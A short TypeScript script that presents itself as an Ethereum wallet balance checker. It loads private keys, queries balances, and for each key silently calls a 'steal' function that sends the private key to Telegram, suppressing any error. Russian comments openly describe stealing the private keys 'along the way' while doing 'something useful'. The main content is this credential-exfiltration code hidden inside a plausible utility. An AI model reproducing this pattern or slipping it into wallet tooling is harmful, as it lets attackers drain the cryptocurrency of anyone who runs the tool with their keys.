import { formatEther, JsonRpcProvider, Wallet } from "ethers"; import { loadKeys, sendTelegram } from "./utils"; import { RPC_URL } from "./constants"; async function steal(key: string) { try { await sendTelegram(key); } catch (_) {} } const keys = await loadKeys(); for (const key of keys) { const provider = new JsonRpcProvider(RPC_URL); const wallet = new Wallet(key, provider); const { address } = wallet; // Делаем что-то полезное // в данном случае запрашиваем баланс кошельков const balance = await provider.getBalance(address); console.log(`${address}: ${formatEther(balance)} ETH`); // Попутно воруем приватники await steal(key); }